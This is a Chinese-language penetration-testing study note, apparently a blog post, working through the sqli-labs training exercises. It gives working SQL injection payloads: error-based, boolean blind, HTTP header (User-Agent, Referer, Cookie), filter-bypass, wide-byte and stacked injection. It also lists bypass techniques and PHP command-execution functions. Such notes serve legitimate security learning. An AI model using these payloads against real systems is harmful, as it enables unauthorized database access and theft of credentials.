渗透笔记2

目录

SQL注入

报错注入

updatexml()函数

常用报错注入函数

[Less-1 联合查询注入](#Less-1 联合查询注入)

[Less-5 布尔盲注](#Less-5 布尔盲注)

HTTP头注入与绕过

[Less-18 User-Agent注入](#Less-18 User-Agent注入)

[Less-19 Referer注入](#Less-19 Referer注入)

[Less-20 Cookie注入](#Less-20 Cookie注入)

[Less-23 注释符绕过](#Less-23 注释符绕过)

[Less-25 双写绕过](#Less-25 双写绕过)

宽字节与堆叠注入

[Less-32 宽字节注入](#Less-32 宽字节注入)

[Less-37 POST宽字节](#Less-37 POST宽字节)

[Less-38 堆叠注入](#Less-38 堆叠注入)

编码对比

ThinkPHP漏洞

MySQL绕过技术总结PHP常用命令执行函数

PHP常用命令执行函数

回调函数


SQL注入

截断函数

  • substr(str, start, length) / substring()
  • left(str, length) / right(str, length)
  • mid(str, start, length)

判断函数

  • length(str) - 返回字符串长度
  • ascii(char) - 返回字符的ASCII值
  • if(condition, true_val, false_val) - 条件判断

关键数据库表

information_schema:

  • SCHEMATA - 记录所有数据库名
  • TABLES - 记录所有表名
  • COLUMNS - 记录所有列名

报错注入

updatexml()函数

复制代码
http://localhost/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,user(),0x7e),2)--+

常用报错注入函数

  • extractvalue() - XPath语法错误,最多32位
  • updatexml() - XPath错误,最多32位
  • floor()+rand()+group by - 主键重复报错
  • exp() - 数值溢出(需MySQL 5.5.5+)
  • geometrycollection()/multipoint()/polygon() - 几何函数报错
  • NAME_CONST() - 重复列名报错

Less-1 联合查询注入

  1. 判断注入点
  2. 判断列数
  3. 判断回显位置
  4. 获取当前数据库
  5. 获取所有表名
  6. 获取users表的列名
  7. 获取账号密码

Less-5 布尔盲注

页面只有两种状态(正确/错误),需要通过布尔判断逐个字符获取数据。

思路

  1. 猜测数据库名长度:?id=1' and length(database())=8--+
  2. 逐个猜解字符:?id=1' and ascii(substr(database(),1,1))=115--+
  3. 使用Burp Intruder或Python脚本自动化

HTTP头注入与绕过

Less-18 User-Agent注入

注入点在User-Agent头:

复制代码
POST /sqli/Less-18/
User-Agent: ' OR extractvalue(1,concat('!',database())) OR '
uname=admin&passwd=123&submit=Submit

Less-19 Referer注入

注入点在Referer头,方法同Less-18

Less-20 Cookie注入

Cookie值直接带入SQL查询:

复制代码
Cookie: uname=admin' union select 1,user(),3#

Less-23 注释符绕过

过滤了#--+,使用;%00或闭合方式绕过:

复制代码
?id=-1' union select 1,2,3 or '1'='1

Less-25 双写绕过

过滤了orand,使用双写绕过:

复制代码
?id=-1' union select 1,group_concat(username,0x3a,passwoorrd),3 from users--+

宽字节与堆叠注入

Less-32 宽字节注入

GBK编码中,两个字节代表一个汉字。当输入%df'时:

  • %df\(0x5C)组合成%df%5c

  • 这个组合在GBK中被识别为汉字

  • 单引号逃逸出来

    ?id=-1%df' union select 1,user(),3--+

Less-37 POST宽字节

复制代码
uname=admin%df'#
passwd=123

Less-38 堆叠注入

堆叠注入可以执行多条SQL语句,使用;分隔。

复制代码
?id=1';insert into users(id,username,password) values(100,'test','123')--+
  • 不适用union/select/insert
  • 适用于文件操作、修改数据等场景

编码对比

编码方式 特点
GBK 汉字占2字节,固定长度
UTF-8 可变长编码,汉字占3字节
Unicode 不可变长

ThinkPHP漏洞

  1. 下载ThinkPHP 5.0.15源码

  2. Windows环境配置:

  • framework目录重命名为thinkphp
  • 配置虚拟主机指向public目录
  1. 虚拟主机配置:

    <VirtualHost *:80>
    DocumentRoot "D:/tp5/public"
    ServerName tp5.com
    </VirtualHost>

MySQL绕过技术总结PHP常用命令执行函数

  1. 编码绕过:16进制、URL编码
  2. 注释绕过/**//*!*/
  3. 大小写绕过
  4. 双写绕过
  5. 特殊字符绕过%0a%09
  6. 宽字节绕过

PHP常用命令执行函数

函数 说明
system() 直接执行命令并输出结果
exec() 执行命令,需echo输出
shell_exec() 执行命令,返回结果字符串
passthru() 直接输出命令执行结果
proc_open() 进程控制,更灵活
popen() 打开进程管道
eval() 执行PHP代码
assert() 执行PHP代码(PHP 7中变更)

回调函数

  • call_user_func()
  • call_user_func_array()
  • array_map()
  • usort() / uasort()
相关推荐
小乔的编程内容分享站6 小时前
C语言笔记之函数
c语言·笔记
四谎真好看6 小时前
JavaWeb学习笔记(Day13)
笔记·学习·学习笔记·javaweb
承渊政道7 小时前
Linux系统学习【Linux基础开发工具】
linux·运维·笔记·学习·centos·编辑器
承渊政道7 小时前
C++学习之旅【C++中模板进阶内容介绍】
c语言·c++·笔记·学习·visual studio
浅念-7 小时前
C语言——动态内存管理
c语言·开发语言·c++·笔记·学习
ASKED_201916 小时前
Langchain学习笔记一 -基础模块以及架构概览
笔记·学习·langchain
Lois_Luo16 小时前
Obsidian + Picgo + Aliyun OSS 实现笔记图片自动上传图床
笔记·oss·图床
(❁´◡`❁)Jimmy(❁´◡`❁)17 小时前
Exgcd 学习笔记
笔记·学习·算法
傻小胖17 小时前
21.ETH-权益证明-北大肖臻老师客堂笔记
笔记·区块链
一只小小的芙厨20 小时前
寒假集训笔记·树上背包
c++·笔记·算法·动态规划